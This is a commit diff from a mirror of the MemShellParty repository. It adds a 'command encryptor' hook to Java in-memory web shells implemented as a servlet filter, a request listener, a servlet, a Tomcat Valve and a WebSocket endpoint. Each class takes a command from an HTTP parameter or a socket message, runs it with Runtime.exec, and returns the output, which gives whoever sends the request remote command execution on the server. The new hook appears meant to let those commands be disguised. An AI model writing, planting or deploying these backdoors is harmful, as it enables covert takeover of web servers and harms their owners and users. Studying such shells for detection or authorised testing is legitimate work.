mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 15:10:43 +08:00
feat: support command encryptor
This commit is contained in:
+5
-1
@@ -18,11 +18,15 @@ public class CommandFilter implements Filter {
|
||||
|
||||
}
|
||||
|
||||
public String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
||||
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
||||
String cmd = servletRequest.getParameter(paramName);
|
||||
String cmd = getParam(servletRequest.getParameter(paramName));
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
|
||||
+5
-1
@@ -21,11 +21,15 @@ public class CommandListener implements ServletRequestListener {
|
||||
|
||||
}
|
||||
|
||||
public String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
String cmd = request.getParameter(paramName);
|
||||
String cmd = getParam(request.getParameter(paramName));
|
||||
if (cmd != null) {
|
||||
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
|
||||
+5
-1
@@ -20,9 +20,13 @@ public class CommandServlet extends HttpServlet {
|
||||
doPost(req, resp);
|
||||
}
|
||||
|
||||
public String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
||||
String cmd = request.getParameter(paramName);
|
||||
String cmd = getParam(request.getParameter(paramName));
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
|
||||
+5
-1
@@ -39,9 +39,13 @@ public class CommandValve implements Valve {
|
||||
public void backgroundProcess() {
|
||||
}
|
||||
|
||||
public String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
String cmd = request.getParameter(paramName);
|
||||
String cmd = getParam(request.getParameter(paramName));
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
|
||||
+13
-15
@@ -4,6 +4,7 @@ import javax.websocket.Endpoint;
|
||||
import javax.websocket.EndpointConfig;
|
||||
import javax.websocket.MessageHandler;
|
||||
import javax.websocket.Session;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.InputStream;
|
||||
|
||||
/**
|
||||
@@ -16,25 +17,22 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
|
||||
|
||||
private Session session;
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onMessage(String s) {
|
||||
try {
|
||||
Process process;
|
||||
boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
|
||||
if (bool) {
|
||||
process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s});
|
||||
} else {
|
||||
process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s});
|
||||
Process exec = Runtime.getRuntime().exec(getParam(s));
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
InputStream inputStream = process.getInputStream();
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
int i;
|
||||
while ((i = inputStream.read()) != -1) {
|
||||
stringBuilder.append((char) i);
|
||||
}
|
||||
inputStream.close();
|
||||
process.waitFor();
|
||||
session.getBasicRemote().sendText(stringBuilder.toString());
|
||||
session.getBasicRemote().sendText(outputStream.toString());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user